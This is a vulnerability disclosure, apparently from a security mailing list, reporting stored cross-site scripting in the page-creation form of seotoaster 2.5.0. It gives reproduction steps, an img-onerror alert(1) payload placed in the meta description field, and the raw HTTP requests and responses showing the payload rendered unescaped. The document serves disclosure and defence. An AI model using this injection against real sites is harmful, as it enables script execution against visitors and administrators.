Stored XSS "Create Page" Functionality - seotoasterv2.5.0

[Andrey Stoykov <mwebsec () gmail com>]

# Exploit Title: Stored XSS "Create Page" Functionality - seotoasterv2.5.0
# Date: 07/2025
# Exploit Author: Andrey Stoykov
# Version: 2.5.0
# Tested on: Debian 12
# Blog: https://msecureltd.blogspot.com/

Stored XSS "Create Page" Functionality #1:

Steps to Reproduce

1. Login with admin and visit "Pages" > "Create a Page"
2. In the "Meta Description" add the following payload "><img src=x
onerror=alert(1)>


// HTTP POST Request

POST /seotoaster/backend/backend_page/page HTTP/1.1
Host: 192.168.58.149
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0)
Gecko/20100101 Firefox/141.0
[...]

h1=test3&headerTitle=test3&url=test3&navName=test3&metaKeywords=test3&metaDescription="><img
src=x
onerror=alert(1)>&inMenu=1&pageCategory=1&templateId=index&extraOptions=option_search&teaserText=test&removePreviousOption=yes&pageId=&draft=0&optimized=0&publishAt=&externalLinkStatus=0&externalLink=&secureToken=98a6a5f28e1844384d2d41f8e1d0a229&original-page-url=


// HTTP Response

HTTP/1.1 200 OK
Date: Sun, 20 Jul 2025 15:20:42 GMT
Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev
Perl/v5.16.3
X-Powered-By: PHP/5.6.40
X-Frame-Options: SAMEORIGIN
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0,
pre-check=0
Pragma: no-cache
Content-Length: 69
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/json

{"error":0,"responseText":{"redirectTo":"test3.html"},"httpCode":200}


// HTTP GET Request

GET /seotoaster/test3.html HTTP/1.1
Host: 192.168.58.149
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0)
Gecko/20100101 Firefox/141.0
[...]


// HTTP Response

HTTP/1.1 200 OK
Date: Sun, 20 Jul 2025 15:20:44 GMT
Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev
Perl/v5.16.3
[...]

[...]
<p class="news-description grid_10 omega">"><img src=x onerror=alert(1)></p>
</div>
[...]
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